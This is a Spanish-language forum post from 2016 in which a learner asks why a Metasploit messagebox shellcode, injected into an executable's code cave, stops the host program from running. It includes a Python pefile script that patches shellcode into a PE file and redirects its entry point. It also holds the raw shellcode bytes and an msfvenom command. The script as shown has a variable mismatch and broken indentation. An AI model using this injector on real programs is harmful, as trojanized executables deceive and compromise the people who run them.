Ayuda con shell_code en metasploit

Iniciado por sigilo, 19 Junio 2016, 02:59 AM

0 Miembros y 1 Visitante están viendo este tema.

sigilo

Reformulando la pregunta, la cuestión es, donde puedo conseguir un manual para poder modificar un shellcode  generado por metasploit para que no ejecute el exitprocess, porque me cierra el programa al cual le inyecto código.

Si ejecuto lo siguiente:

char code[] = "mi_shellcode";
int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();



funciona perfectamente, pero cuando lo inyecto por ejemplo en calc.exe  solo me genera el mensaje del windows/messagebox pero no ejecuta la calculadora, en google no encuentro nada, lo mismo ocurre con:

ixquick
duckduckgo
http://hss3uro2hsxfogfq.onion/      (  Evil )


--------------------------------------------------------------------------------------------------------------

Saludos antes que nada recalcar que estoy empezando a estudiar un poco sobre  code Cavity y mis conocimientos sobre el tema son limitados.

Pues bien, al trabajar un ejecutable manualmente con OllyDbg funciona perfectamente, primero me muestra el mensaje ingresado y luego se ejecuta la aplicación. No obstante es algo tedioso hacerlo manualmente, así que buscando un poco encontré el siguiente código:

Código (python) [Seleccionar]
from pefile import PE
from struct import pack
# windows/messagebox - 265 bytes
# http://www.metasploit.com
# ICON=NO, TITLE=W00t!, EXITFUNC=process, VERBOSE=false,
# TEXT=Debasish Was Here!
sample_shell_code = ("\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" +
"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" +
"\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" +
"\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" +
"\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" +
"\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" +
"\xd2\x52\x53\x51\x52\xff\xd0")
if __name__ == '__main__':
ejecutable = raw_input('[*] Ingrese direccion del ejecutable a inyectar codigo :')
salida = raw_input('[*] ingrese lugar a guardar el ejecutable modificado :')
pe = PE(ejecutable)
       # Determinamos el punto de entrada del ejecutable (OEP [original entry point])
       OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
       # los valores que necesitaremos
secciones = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
alineacion  = pe.OPTIONAL_HEADER.SectionAlignment # por lo general equivale al valor de
       #una pagina en memoria: 4096 bytes.
       # cuanto espacio queda
restante = (secciones.VirtualAddress + secciones.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
fin_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + restante
       # alineamos con las secciones
espacio = alineacion - (fin_rva % alineacion)
fin_offset = pe.get_offset_from_rva(fin_rva+espacio) - 1 # calculamos el RVA del final del offset,
       # ...para que este alineado con las otras secciones
       # comprobar si hay suficiente espacio para adaptarse a la carga util
tc_shell = len(codigo_shell)+7 # +1 pusha, +1 popa, +5 rel32 jmp
       # 80x86 Instructions by Opcode :
       # Opcode Mnemonic Operand(s) Flags-affected Number-of-bytes Timing-386  Timing-486  Timing-Pentium
       # E9     jmp      rel32      none           5               7+          3           1
if espacio < tc_shell:
# no hay suficiente espacio para el shell code
exit()
# el codigo puede ser inyectado
scode_end_off = fin_offset
scode_start_off = scode_end_off - tc_shell
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
raw_pe_data = pe.write()
jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
       # \x60 = pusha, \x61 = popa, \xe9 = 32 bit relative distance
codigo_shell = '\x60%s\x61\xe9%s' % (codigo_shell, pack('I', jmp_to & 0xffffffff))
final_data = list(raw_pe_data)
final_data[scode_start_off:scode_start_off+len(codigo_shell)] = codigo_shell
final_data = ''.join(final_data)
raw_pe_data = final_data
pe.close()
new_file = open(salida, 'wb')
new_file.write(raw_pe_data)
new_file.close()
print '[*] trabajo hecho! :)'  


Lo anterior funciona perfectamente, en mi caso genero un shell code mediante metasploit de la forma:

Código (python) [Seleccionar]
msfvenom -a x86 --platform windows -p windows/messagebox TITLE="code" TEXT="cave" -f python  

pero solo sale el cuadro del mensaje y no se ejecuta el programa al que le inyecto el código.

Gracias de antemano si me pueden ayudar.